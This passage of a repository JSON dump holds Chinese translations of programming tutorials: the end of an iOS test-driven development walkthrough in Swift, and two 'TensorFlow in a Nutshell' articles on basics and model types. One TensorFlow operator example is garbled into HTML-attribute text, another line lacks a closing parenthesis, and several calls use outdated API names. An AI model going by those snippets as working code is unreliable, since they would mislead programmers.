然后再重新运行测试用例，接着，之前写的测试用例通过了！\n\n```\noverride func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {\n    return MoviesDataHelper.getMovies().count\n}\n \noverride func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {\n    let cell = tableView.dequeueReusableCell(withIdentifier: \"MovieCell\")\n    return cell!\n}\n```\n\n总结一下，首先你写了一个不完善的测试，然后通过 3 行代码完善了它，并且测试通过了，这就是为什么我们将它称为测试驱动开发（TDD），一个能确保代码良好和高质量的方式。\n\n## 编写测试用例 #2\n\n现在，是时候用第二个测试用例来结束这个教程了。\n我们意识到，当我们运行 app 的时候，我们只是在每个地方设置 “title” 和 “subtitle”。但是我们并没有验证它显示的是不是我们实际的数据！所以，为 UI 也写个测试用例吧。\n\n进入 spec 文件。 添加一个新的 `context` 并把它称为 `Table View`。从 列表视图抓取第一个 cell ，并且测试它展示的数据是否和实际应该展示的数据相同。\n\n```\ncontext(\"Table View\") {\n    var cell: UITableViewCell!\n    \n    beforeEach {\n            cell = subject.tableView(subject.tableView, cellForRowAt: IndexPath(row: 0, section: 0))\n    }\n        \n    it(\"should show movie title and genre\") {\n        expect(cell.textLabel?.text).to(equal(\"The Emoji Movie\"))\n        expect(cell.detailTextLabel?.text).to(equal(\"Animation\"))\n     }\n}\n```\n\n测试运行后，会得到下面的失败信息。\n\n```\nMoviesTableViewController__Table_View__should_show_movie_title_and_genre] : expected to equal <Animation>, got <Subtitle>\n```\n\n来吧，让我们通过给 cell 相应的数据去展示来完善这个测试用例！\n\n## 完善测试用例 #2\n\n因为 Genre 是枚举，我们需要为它添加不同的描述。所以我们需要更新 `Movie` 类：\n\n```\nstruct Movie {\n    var title: String\n    var genre: Genre\n    \n    func genreString() -> String {\n        switch genre {\n        case .Action:\n            return \"Action\"\n        case .Animation:\n            return \"Animation\"\n        default:\n            return \"None\"\n        }\n    }\n}\n```\n\n同样 `cellForRow` 方法也需要更新：\n\n```\noverride func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {\n    let cell = tableView.dequeueReusableCell(withIdentifier: \"MovieCell\")\n    \n    let movie = MoviesDataHelper.getMovies()[indexPath.row]\n    cell?.textLabel?.text = movie.title\n    cell?.detailTextLabel?.text = movie.genreString()\n    \n    return cell!\n}\n```\n\n哇哦！第二个测试用例通过啦！此时，让我们看看能不能通过重构让代码更加清晰，当然，仍然是在保持测试用例可以通过的基础上。移除空函数，并且将 `getMovies()` 声明为计算属性。\n\n```\nclass MoviesTableViewController: UITableViewController {\n \n    var movies: [Movie] {\n        return MoviesDataHelper.getMovies()\n    }\n    \n    // MARK: - Table view data source\n    override func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {\n        return movies.count\n    }\n    \n    override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {\n        let cell = tableView.dequeueReusableCell(withIdentifier: \"MovieCell\")\n        \n        let movie = movies[indexPath.row]\n        cell?.textLabel?.text = movie.title\n        cell?.detailTextLabel?.text = movie.genreString()\n        \n        return cell!\n    }\n}\n```\n\n试试吧，重新运行测试，它依然是可以通过的。\n\n## 总结\n\n我们做了什么？\n\n* 我们为了检测电影数量，编写了第一个测试用例，测试 **未通过**\n* 接着我们实现了加载电影的逻辑，然后测试 **通过**\n* 为了检测是否显示了正确的数据，我们编写了第二个测试，测试 **未通过**\n* 接着我们实现了显示逻辑，然后测试 **通过**\n* 最后我们停止了测试，并且进行了 **重构**\n\n这大概就是 TDD 的全部。你也可以在这个工程上去进行更多的尝试。如果你对教程有任何相关问题，请在下面留下相关评论以便让我知道。\n\n你可以在这找到相关[源码](https://github.com/lawreyios/MyMovies)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/tensorflow-in-a-nutshell-part-one-basics.md",
    "content": "> * 原文地址：[TensorFlow in a Nutshell — Part One: Basics](https://medium.com/@camrongodbout/tensorflow-in-a-nutshell-part-one-basics-3f4403709c9d#.y95bdu5wy)\n* 原文作者：[Camron Godbout](https://medium.com/@camrongodbout)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[cdpath](https://github.com/cdpath)\n* 校对者：[marcmoore (Mark)](https://github.com/marcmoore), [Graning (Gran)](https://github.com/Graning)\n\n# 简明 TensorFlow 教程 —— 第一部分：基础知识\n\n\n\n\n#### 快速上手世界上最流行的深度学习框架\n\nTensorFlow 是谷歌开发的用于训练深度学习模型的框架。深度学习属于机器学习，使用多层神经网络。自 1943 年神经生理学家 Warren McCulloch 和数学家 Walter Pitts 发表关于神经元工作机制的论文以来，深度学习的观念开始流行。他俩还用电路搭建了简单的神经网络模型。\n\n自那时起众多开发者参与进来。（不过）这些数学模型高度精确，要求极高的计算资源。随着近期 GPU 和 CPU 的计算能力的进步，深度学习开始爆发性流行起来。\n\nTensorFlow 在发明之初就考虑到了处理能力的限制。自 2015 年 11 月 开源以来，TensorFlow 已经可以成功地运行在所有类型的计算机上，甚至包括智能手机。TensorFlow 可以快速生成经过训练的预测模型。在写作本文时，TensorFlow 是目前排名第一的深度学习框架。\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*PMimtWrXXOIYvIw7nUrp5w.jpeg)\n\n\n\n作者 Francois Chollet @fchollet (twitter)\n\n\n\n#### 基本计算图\n\nTensorFlow 中一切的一切都是基于创建计算图。用过 Theano 的读者应该会对本节非常熟悉。不妨将计算图看成节点网络，每个节点都是一种操作，可以运行函数，包括简单的加减甚至复杂的多元方程。\n\n每个操作也表示能返回零个或多个张量的操作符，返回的张量可以稍后在图中使用。下面是一些操作及其输出的例子:\n\n``` python\nimport tensorflow as tf\n\ntf.add(1, 2)\n# 3\n\ntf.sub(2, 1)\n# 1\n\ntf.mul(2, 2)\n# 4\n\ntf.div(2, 2)\n# 1\n\ntf.mod(4, 5)\n# 4\n\ntf.pow(3, 2)\n# 9\n\n# x < y\ntf.less(1, 2)\n# True \n\n# x <= y=\"\" tf.less_equal(1,=\"\" 1)=\"\" #=\"\" true=\"\" tf.greater(1,=\"\" 2)=\"\" false=\"\" tf.greater_equal(1,=\"\" tf.logical_and(true,=\"\" false)=\"\" tf.logical_or(true,=\"\" tf.logical_xor(true,=\"\" true\n```\n\n每个操作都可以接受一个常量，数组，矩阵或者 n 维矩阵。n 维矩阵也叫做张量，二维张量等价于 m x m 矩阵。\n\n\n``` python\nimport tensorflow as tf\n\n# 新建 2X2 矩阵常量\ntensor_1 = tf.constant([[1., 2.], [3.,4]])\n\ntensor_2 = tf.constant([[5.,6.],[7.,8.]])\n\n# 新建矩阵乘法操作\noutput_tensor = tf.matmul(tensor_1, tensor_2)\n\n# 必须在会话 (Session) 中运行计算图\nsess = tf.Session()\n\nresult = sess.run(output_tensor)\nprint(result)\n\nsess.close()\n```\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*mvhm5_r6LY-eHsin21RJTg.png)\n\n\n\n计算图\n\n\n上面的代码新建了两个常量张量，相乘，然后输出结果。这只是个简单的例子，用来示范如何创建图并运行会话 (session)。 操作符所需的所有输入都会自动求值，而且通常是并行计算。这里运行的会话实际上会执行图中的三个操作，结果就是创建两个常量然后进行矩阵乘法。\n\n#### 图\n\n上面创建的常量和操作都会自动加到 TensorFlow 图中。默认图在导入 TensorFlow 库时就实例化了。当然，不使用默认图新建一个也可以，这在需要在一个文件中创建多个互不依赖的模型时非常有用。\n\n``` python\nnew_graph = tf.Graph()\n\nwith new_graph.as_default():\n    new_g_const = tf.constant([1., 2.])\n```\n\n任何在 `with new_graph.as_default()` 之外使用的变量和操作都会加到默认图中，默认图就是加载库时新建的那个图。当然，也可以取得指向默认图的引用。\n\n``` python\ndefault_g = tf.get_default_graph()\n```\n\n大多数情况下默认图就够用了。\n\n#### 会话\n\nTensorFlow 中有两种会话 (Session) 对象\n\n#### `tf.Session()`\n\n它封装了执行运算和张量求值需要的环境。会话可以有自己的变量，队列和分配的订阅者。所以在用完之后记得使用 `close()`。会话有三个可选参数。\n\n1.  target —— 要连接的执行引擎\n2.  graph —— 要使用的图\n3.  config —— ConfigProto 协议缓存，里面有会话的配置参数\n\n只要运行 TensorFlow 计算中的「一步」，`tf.Session()` 就会被调用，所有执行图所需要的依赖都会被运行。\n\n#### `tf.InteractiveSession()`\n\n和 `tf.Session()` 完全一样，主要是为了方便 IPython 和 Jupyter Notebooks 使用，加些东西比较方便，而且使用 `Tensor.eval()` 和 `Operation.run()` 就不用每次要算个什么东西都得用 `Session.run()` 完整地跑一遍了。\n\n``` python\nsess = tf.InteractiveSession()\na = tf.constant(1)\nb = tf.constant(2)\nc = a + b\n# 这里不用 sess.run(c)\nc.eval()\n```\n\n使用 `InteractiveSession` 还可以不显式地传入会话 (Session) 对象。\n\n#### 变量\n\n变量在 TensorFlow 中由会话 (Session) 管理。因为张量和操作对象都是不可变的，所以生存期超过会话的变量非常有用。`tf.Variable()` 就可以新建变量。\n\n``` python\ntensorflow_var = tf.Variable(1, name=\"my_variable\")\n```\n\n大多数时候你可能需要新建由 0，1 或者随机数组成的张量变量。\n\n*   tf.zeros() — 由 0 组成的矩阵\n*   tf.ones() — 由 1 组成的矩阵\n*   tf.random_normal() — 由随机正态分布值组成的矩阵\n*   tf.random_uniform() — 由随机均匀分布的数字组成的矩阵\n*   tf.truncated_normal() — 和 tf.random_normal() 一样，但是所有数字都不超过两个标准差\n\n这些函数接受一个初始化用的 shape 参数，用来定义矩阵的维度。比如：\n\n``` python\n# 正态分布的 4X4X4 三维矩阵，平均值 0， 标准差 1\nnormal = tf.truncated_normal([4, 4, 4], mean=0.0, stddev=1.0)\n```\n\n还可以把变量设成这种矩阵辅助函数：\n\n``` python\nnormal_var = tf.Variable(tf.truncated_normal([4,4,4] , mean=0.0, stddev=1.0)\n```\n\n要初始化这些变量，必须使用 TensorFlow 的变量初始化函数，然后把初始化函数传给会话。这样的话如果运行多个会话，变量都是一样的。\n\n``` python\ninit = tf.initialize_all_variables()\nsess = tf.Session()\nsess.run(init)\n```\n\n如果要完全改变变量的值可以使用 `Variable.assign()` ，必须在会话中使用。\n\n``` python\ninitial_var = tf.Variable(1)\n\nchanged_var = initial_var.assign(initial_var + initial_var)\n\ninit = tf.initialize_all_variables()\nsess = tf.Session()\nsess.run(init)\n\nsess.run(changed_var)\n# 2\n\nsess.run(changed_var)\n# 4\n\nsess.run(changed_var)\n# 8\n\n# .... and so on\n```\n\n有时需要在模型中添加一个计数器，这时就可以用 `Variable.assign_add()` ，它需要一个数量参数，这个参数就是说给变量加多少。 类似的，减法可以用 `Variable.assign_sub()`。\n\n``` python\ncounter = tf.Variable(0)\n\nsess.run(counter.assign_add(1))\n# 1\n\nsess.run(counter.assign_sub(1))\n# -1\n```\n\n#### 作用域\n\nTensorFlow 有作用域，可以控制模型的复杂性，便于将模型分解为独立的小组件。作用域非常简单，甚至可以用来在用 TensorBoard 的时候分解模型(本文第二部分有所介绍）。作用域甚至可以嵌套在其他作用域中。\n\n```\nwith tf.name_scope(\"Scope1\"):\n    with tf.name_scope(\"Scope_nested\"):\n        nested_var = tf.mul(5, 5)\n```\n\n当然这里作用域看上去并不是特别强大，但是结合 TensorBoard 使用就会非常有用。\n\n#### 小结\n\n我展示了许多 TensorFlow 提供的基本组件。它们组合起来可以构建非常复杂的模型。TensorFlow 提供的远不止这些，如果需要在接下来的文章中了解其他特性，欢迎告诉我。\n\n\n\n\n\n"
  },
  {
    "path": "TODO/tensorflow-in-a-nutshell-part-three-all-the-models.md",
    "content": "> * 原文地址：[TensorFlow in a Nutshell — Part Three: All the Models](https://hackernoon.com/tensorflow-in-a-nutshell-part-three-all-the-models-be1465993930?gi=ce7ca5538f3e#.ji73p7x7j)\n* 原文作者：[Camron Godbout](https://hackernoon.com/@camrongodbout)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[edvardhua](https://github.com/edvardHua)\n* 校对者：[marcmoore](https://github.com/marcmoore), [cdpath](https://github.com/cdpath)\n\n# 简明 TensorFlow 教程 —  第三部分: 所有的模型\n\n\n#### 快速上手世界上最流行的深度学习框架\n\n请务必查看其他文章。 >>[点击查看](http://camron.xyz/)<<\n\n#### 概述\n\n在本文中，我们将讨论 TensorFlow 中当前可用的所有抽象模型，并描述该特定模型的用例以及简单的示例代码。 [完整的工作示例源码](https://github.com/c0cky/TensorFlow-in-a-Nutshell)。\n\n\n* * *\n\n\n\n\n![](https://cdn-images-1.medium.com/max/800/1*lQ4izz9ZbhKYD8NClZpsmQ.png)\n\n\n一个循环神经网络。\n\n\n#### 递归神经网络 简称 RNN\n\n用例:语言建模，机器翻译，词嵌入，文本处理。\n\n自从长短期记忆神经网络（LSTM）和门限循环单元（GRU）的出现，循环神经网络在自然语言处理中的发展迅速，远远超越了其他的模型。他们可以被用于传入向量以表示字符，依据训练集生成新的语句。这个模型的优点是它保持句子的上下文，并得出“猫坐在垫子上”的意思，意味着猫在垫子上。 TensorFlow 的出现让创建这些网络变得越来越简单。关于 TensorFlow\b 的更多隐藏特性可以从 [Denny Britz 文章](http://www.wildml.com/2016/08/rnns-in-tensorflow-a-practical-guide-and-undocumented-features/) 中找到。\n\n    import tensorflow as tf\n    import numpy as np\n    # Create input data\n    X = np.random.randn(2, 10, 8)\n\n    # The second example is of length 6 \n    X[1,6,:] = 0\n    X_lengths = [10, 6]\n\n    cell = tf.nn.rnn_cell.LSTMCell(num_units=64, state_is_tuple=True)\n    cell = tf.nn.rnn_cell.DropoutWrapper(cell=cell, output_keep_prob=0.5)\n    cell = tf.nn.rnn_cell.MultiRNNCell(cells=[cell] * 4, state_is_tuple=True)\n\n    outputs, last_states = tf.nn.dynamic_rnn(\n        cell=cell,\n        dtype=tf.float64,\n        sequence_length=X_lengths,\n        inputs=X)\n\n    result = tf.contrib.learn.run_n(\n        {\"outputs\": outputs, \"last_states\": last_states},\n        n=1,\n        feed_dict=None)\n\n\n\n* * *\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/800/1*N4h1SgwbWNmtrRhszM9EJg.png)\n\n\n\n卷积网络\n\n\n\n#### 卷积网络\n用例:图像处理, 面部识别, 计算机视觉\n\n卷积神经网络（Convolutional Neural Networks-简称 CNN ）是独一无二的，因为他可以直接输入原始图像，避免了对图像复杂前期预处理。 CNN 用固定的窗口（下图窗口为 3x3 ）从左至右从上往下遍历图像。 其中我们称该窗口为卷积核，每次卷积（与前面遍历对应）都会计算其卷积特征。\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/800/1*ZCjPUFrB6eHPRi4eyP6aaA.gif)\n\n\n\n[图片来源 ](http://deeplearning.standford.edu/wiki/index.php/Feature_extraction_using_convolution)\n\n\n\n我们可以使用卷积特征来做边缘检测，从而允许 CNN 描述图像中的物体。\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/800/1*3H4Ho1lX_saXzqK243Ic9w.jpeg)\n\n\n\n[GIMP 手册](https://docs.gimp.org/2.8/zh_CN/)上边缘检测的例子\n\n\n\n上图使用的卷积特征矩阵如下所示：\n\n\n\n\n![](https://cdn-images-1.medium.com/max/800/1*h5XnUMUF7XcmTCFrU5pTeQ.png)\n\n\n\nGIMP 手册中的卷积特征\n\n\n下面是一个代码示例，用于从 MNIST 数据集中识别手写数字。\n\n    ### Convolutional network\n    def max_pool_2x2(tensor_in):\n      return tf.nn.max_pool(\n          tensor_in, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME')\n    def conv_model(X, y):\n      # reshape X to 4d tensor with 2nd and 3rd dimensions being image width and\n      # height final dimension being the number of color channels.\n      X = tf.reshape(X, [-1, 28, 28, 1])\n      # first conv layer will compute 32 features for each 5x5 patch\n      with tf.variable_scope('conv_layer1'):\t\n        h_conv1 = learn.ops.conv2d(X, n_filters=32, filter_shape=[5, 5],\n                                   bias=True, activation=tf.nn.relu)\n        h_pool1 = max_pool_2x2(h_conv1)\n      # second conv layer will compute 64 features for each 5x5 patch.\n      with tf.variable_scope('conv_layer2'):\n        h_conv2 = learn.ops.conv2d(h_pool1, n_filters=64, filter_shape=[5, 5],\n                                   bias=True, activation=tf.nn.relu)\n        h_pool2 = max_pool_2x2(h_conv2)\n        # reshape tensor into a batch of vectors\n        h_pool2_flat = tf.reshape(h_pool2, [-1, 7 * 7 * 64])\n      # densely connected layer with 1024 neurons.\n      h_fc1 = learn.ops.dnn(\n          h_pool2_flat, [1024], activation=tf.nn.relu, dropout=0.5)\n      return learn.models.logistic_regression(h_fc1, y)\n\n\n* * *\n\n\n\n\n![](https://cdn-images-1.medium.com/max/800/1*toBL6XleRkwABSwTAFaY_g.png)\n\n\n\n\n\n#### 前馈型神经网络\n用例：分类和回归\n\n这些网络由一层层的感知器组成，这些感知器接收将信息传递到下一层的输入，由网络中的最后一层输出结果。 在给定层中的每个节点之间没有连接。 没有原始输入和没有最终输出的图层称为隐藏图层。\n\n这个网络的目标类似于使用反向传播的其他监督神经网络，使得输入后得到期望的受训输出。 这些是用于分类和回归问题的一些最简单的有效神经网络。 下面代码展示如何轻松地创建前馈型神经网络来分类手写数字：\n\n    def init_weights(shape):\n        return tf.Variable(tf.random_normal(shape, stddev=0.01))\n    def model(X, w_h, w_o):\n        h = tf.nn.sigmoid(tf.matmul(X, w_h)) # this is a basic mlp, think 2 stacked logistic regressions\n        return tf.matmul(h, w_o) # note that we dont take the softmax at the end because our cost fn does that for us\n    mnist = input_data.read_data_sets(\"MNIST_data/\", one_hot=True)\n    trX, trY, teX, teY = mnist.train.images, mnist.train.labels, mnist.test.images, mnist.test.labels\n    X = tf.placeholder(\"float\", [None, 784])\n    Y = tf.placeholder(\"float\", [None, 10])\n    w_h = init_weights([784, 625]) # create symbolic variables\n    w_o = init_weights([625, 10])\n    py_x = model(X, w_h, w_o)\n    cost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(py_x, Y)) # compute costs\n    train_op = tf.train.GradientDescentOptimizer(0.05).minimize(cost) # construct an optimizer\n    predict_op = tf.argmax(py_x, 1)\n    # Launch the graph in a session\n    with tf.Session() as sess:\n        # you need to initialize all variables\n        tf.initialize_all_variables().run()\n    for i in range(100):\n            for start, end in zip(range(0, len(trX), 128), range(128, len(trX)+1, 128)):\n                sess.run(train_op, feed_dict={X: trX[start:end], Y: trY[start:end]})\n            print(i, np.mean(np.argmax(teY, axis=1) ==\n                             sess.run(predict_op, feed_dict={X: teX, Y: teY})))\n\n\n\n* * *\n\n\n\n\n![](https://cdn-images-1.medium.com/max/800/1*Sy_6ipmBh_21KD0_dds1HQ.png)\n\n\n\n\n\n#### 线性模型\n\n用例：分类和回归\n\n线性模型根据 X 轴值的变化，并产生用于Y轴值的分类和回归的最佳拟合线。 例如，如果你有一片区域房子的大小和价钱，那么我们就可以利用线性模型来根据房子的大小来预测价钱。\n\n需要注意的一点是，线性模型可以用于多个特征。 例如在住房示例中，我们可以根据房子大小，房间数量和浴室数量以及价钱来构建一个线性模型，然后利用这个线性模型来根据房子的大小，房间以及浴室个数来预测价钱。\n\n    import numpy as np\n    import tensorflow as tf\n\n    import numpy as np\n    import tensorflow as tf\n    def weight_variable(shape):\n        initial = tf.truncated_normal(shape, stddev=1)\n        return tf.Variable(initial)\n    # dataset\n    xx = np.random.randint(0,1000,[1000,3])/1000.\n    yy = xx[:,0] * 2 + xx[:,1] * 1.4 + xx[:,2] * 3\n    # model\n    x = tf.placeholder(tf.float32, shape=[None, 3])\n    y_ = tf.placeholder(tf.float32, shape=[None])\n    W1 = weight_variable([3, 1])\n    y = tf.matmul(x, W1)\n    # training and cost function\n    cost_function = tf.reduce_mean(tf.square(tf.squeeze(y) - y_))\n    train_function = tf.train.AdamOptimizer(1e-2).minimize(cost_function)\n    # create a session\n    sess = tf.Session()\n    # train\n    sess.run(tf.initialize_all_variables())\n    for i in range(10000):\n        sess.run(train_function, feed_dict={x:xx, y_:yy})\n        if i % 1000 == 0:\n            print(sess.run(cost_function, feed_dict={x:xx, y_:yy}))\n\n\n\n* * *\n\n\n![](https://cdn-images-1.medium.com/max/800/1*XwNZplJ1p-xnUKRQPMS6Aw.png)\n\n\n\n\n\n#### 支持向量机\n\n用例：目前只能用来做二进制分类\n\nSVM 背后的一般思想是存在线性可分离模式的最佳超平面。 对于不可线性分离的数据，我们可以使用内核函数将原始数据转换为新空间。 SVM 使分离超平面的边界最大化。 它们在高维空间中非常好地工作，并且如果维度大于取样的数量，SVM 仍然有效。\n\n    def input_fn():\n          return {\n              'example_id': tf.constant(['1', '2', '3']),\n              'price': tf.constant([[0.6], [0.8], [0.3]]),\n              'sq_footage': tf.constant([[900.0], [700.0], [600.0]]),\n              'country': tf.SparseTensor(\n                  values=['IT', 'US', 'GB'],\n                  indices=[[0, 0], [1, 3], [2, 1]],\n                  shape=[3, 5]),\n              'weights': tf.constant([[3.0], [1.0], [1.0]])\n          }, tf.constant([[1], [0], [1]])\n    price = tf.contrib.layers.real_valued_column('price')\n        sq_footage_bucket = tf.contrib.layers.bucketized_column(\n            tf.contrib.layers.real_valued_column('sq_footage'),\n            boundaries=[650.0, 800.0])\n        country = tf.contrib.layers.sparse_column_with_hash_bucket(\n            'country', hash_bucket_size=5)\n        sq_footage_country = tf.contrib.layers.crossed_column(\n            [sq_footage_bucket, country], hash_bucket_size=10)\n        svm_classifier = tf.contrib.learn.SVM(\n            feature_columns=[price, sq_footage_bucket, country, sq_footage_country],\n            example_id_column='example_id',\n            weight_column_name='weights',\n            l1_regularization=0.1,\n            l2_regularization=1.0)\n    svm_classifier.fit(input_fn=input_fn, steps=30)\n        accuracy = svm_classifier.evaluate(input_fn=input_fn, steps=1)['accuracy']\n\n\n\n* * *\n\n\n\n\n![](https://cdn-images-1.medium.com/max/800/1*EaDupDnQB1QYL6MPvr3w_Q.png)\n\n\n\n\n\n#### 深和宽的模型\n\n用例：推荐系统，分类和回归\n\n深和宽模型在[第二部分](https://medium.com/@camrongodbout/tensorflow-in-a-nutshell-part-two-hybrid-learning-98c121d35392#.oubizxp18)中有更详细的描述，所以我们在这里不会讲解太多。 宽和深的网络将线性模型与前馈神经网络结合，使得我们的预测将具有记忆和泛化。 这种类型的模型可以用于分类和回归问题。 这允许利用相对准确的预测来减少特征工程。 因此，能够结合两个模型得出最好的结果。 下面的代码片段摘自[第二部分](https://github.com/c0cky/TensorFlow-in-a-Nutshell/tree/master/part2)。\n\n    def input_fn(df, train=False):\n      \"\"\"Input builder function.\"\"\"\n      # Creates a dictionary mapping from each continuous feature column name (k) to\n      # the values of that column stored in a constant Tensor.\n      continuous_cols = {k: tf.constant(df[k].values) for k in CONTINUOUS_COLUMNS}\n      # Creates a dictionary mapping from each categorical feature column name (k)\n      # to the values of that column stored in a tf.SparseTensor.\n      categorical_cols = {k: tf.SparseTensor(\n        indices=[[i, 0] for i in range(df[k].size)],\n        values=df[k].values,\n        shape=[df[k].size, 1])\n                          for k in CATEGORICAL_COLUMNS}\n      # Merges the two dictionaries into one.\n      feature_cols = dict(continuous_cols)\n      feature_cols.update(categorical_cols)\n      # Converts the label column into a constant Tensor.\n      if train:\n        label = tf.constant(df[SURVIVED_COLUMN].values)\n          # Returns the feature columns and the label.\n        return feature_cols, label\n      else:\n        return feature_cols\n    m = build_estimator(model_dir)\n    m.fit(input_fn=lambda: input_fn(df_train, True), steps=200)\n    print m.predict(input_fn=lambda: input_fn(df_test))\n    results = m.evaluate(input_fn=lambda: input_fn(df_train, True), steps=1)\n    for key in sorted(results):\n      print(\"%s: %s\" % (key, results[key]))\n\n\n* * *\n\n\n\n![](https://cdn-images-1.medium.com/max/800/1*breo9La3b-US5oG4KUuZqw.png)\n\n\n\n\n\n#### 随机森林\n\n用例：分类和回归\n\n随机森林模型中有很多不同分类树，每个分类树都可以投票来对物体进行分类，从而选出票数最多的类别。\n\n随机森林不会过拟合，所以你可以使用尽可能多的树，而且执行的速度也是相对较快的。 下面的代码片段是对鸢尾花数据集（[Iris flower data set](https://en.wikipedia.org/wiki/Iris_flower_data_set)）使用随机森林：\n\n    hparams = tf.contrib.tensor_forest.python.tensor_forest.ForestHParams(\n            num_trees=3, max_nodes=1000, num_classes=3, num_features=4)\n    classifier = tf.contrib.learn.TensorForestEstimator(hparams)\n    iris = tf.contrib.learn.datasets.load_iris()\n    data = iris.data.astype(np.float32)\n    target = iris.target.astype(np.float32)\n    monitors = [tf.contrib.learn.TensorForestLossMonitor(10, 10)]\n    classifier.fit(x=data, y=target, steps=100, monitors=monitors)\n    classifier.evaluate(x=data, y=target, steps=10)\n\n\n\n* * *\n\n\n\n![](https://cdn-images-1.medium.com/max/800/1*yu7chokfJ6Ufut79peUNlw.png)\n\n\n\n\n\n#### 贝叶斯强化学习（Bayesian Reinforcement Learning）\n\n用例：分类和回归\n\n在 TensorFlow 的 contrib 文件夹中有一个名为 BayesFlow 的库。 除了一个 REINFORCE 算法的例子就没有其他文档了。 该算法在 Ronald Williams 的[论文](http://incompleteideas.net/sutton/williams-92.pdf)中提出。\n\n\n> 获得的递增 = 非负因子 * 强化偏移 * 合格的特征\n\n这个网络试图解决立即强化学习任务，在每次试验获得强化值后调整权重。 在每次试验结束时，每个权重通过学习率因子乘以增强值减去基线乘以合格的特征而增加。 Williams 的论文还讨论了使用反向传播来训练强化网络。\n\n    \"\"\"Build the Split-Apply-Merge Model.\n      Route each value of input [-1, -1, 1, 1] through one of the\n      functions, plus_1, minus_1\\.  The decision for routing is made by\n      4 Bernoulli R.V.s whose parameters are determined by a neural network\n      applied to the input.  REINFORCE is used to update the NN parameters.\n      Returns:\n        The 3-tuple (route_selection, routing_loss, final_loss), where:\n          - route_selection is an int 4-vector\n          - routing_loss is a float 4-vector\n          - final_loss is a float scalar.\n      \"\"\"\n      inputs = tf.constant([[-1.0], [-1.0], [1.0], [1.0]])\n      targets = tf.constant([[0.0], [0.0], [0.0], [0.0]])\n      paths = [plus_1, minus_1]\n      weights = tf.get_variable(\"w\", [1, 2])\n      bias = tf.get_variable(\"b\", [1, 1])\n      logits = tf.matmul(inputs, weights) + bias\n    # REINFORCE forward step\n      route_selection = st.StochasticTensor(\n          distributions.Categorical, logits=logits)\n\n\n* * *\n\n\n\n![](https://cdn-images-1.medium.com/max/800/1*1MHiieXwdKo75p-_4VkFnQ.png)\n\n\n\n\n\n#### 线性链条件随机域 （Linear Chain Conditional Random Fields，简称 CRF）\n\n用例：序列数据\n\nCRF 是根据无向模型分解的条件概率分布。 他们预测单个样本的标签，保留来自相邻样本的上下文。 CRF 类似于隐马尔可夫模型。 CRF 通常用于图像分割和对象识别，以及浅分析，命名实体识别和基因发现。\n\n    # Train for a fixed number of iterations.\n    session.run(tf.initialize_all_variables())\n      for i in range(1000):\n        tf_unary_scores, tf_transition_params, _ = session.run(\n           [unary_scores, transition_params, train_op])\n        if i % 100 == 0:\n          correct_labels = 0\n          total_labels = 0\n          for tf_unary_scores_, y_, sequence_length_ in zip(tf_unary_scores, y, sequence_lengths):\n            # Remove padding from the scores and tag sequence.\n            tf_unary_scores_ = tf_unary_scores_[:sequence_length_]\n            y_ = y_[:sequence_length_]\n\n            # Compute the highest scoring sequence.\n            viterbi_sequence, _ = tf.contrib.crf.viterbi_decode(\n                tf_unary_scores_, tf_transition_params)\n\n            # Evaluate word-level accuracy.\n            correct_labels += np.sum(np.equal(viterbi_sequence, y_))\n            total_labels += sequence_length_\n          accuracy = 100.0 * correct_labels / float(total_labels)\n          print(\"Accuracy: %.2f%%\" % accuracy)\n\n\n\n* * *\n\n\n\n\n\n\n\n#### 总结\n\n自从 TensorFlow 发布以来，围绕该项目的社区一直在添加更多的组件，示例和案例来使用这个库。 即使在撰写本文时，还有更多的模型和示例代码正在编写。 很高兴看到 TensorFlow 在过去几个月中的成长。 组件的易用性和多样性正在增加，在未来也会平稳的增加。\n\n\n#### 译者参考文献\n\n1. [词嵌入](https://www.zhihu.com/question/32275069)\n2. [长短记忆网络](https://en.wikipedia.org/wiki/Long_short-term_memory)\n3. [卷积神经网络](http://blog.csdn.net/stdcoutzyx/article/details/41596663)\n4. [前馈神经网络](http://baike.baidu.com/view/1986922.htm)"
  },
  {
    "path": "TODO/tensorflow-in-a-nutshell-part-two-hybrid-learning.md",
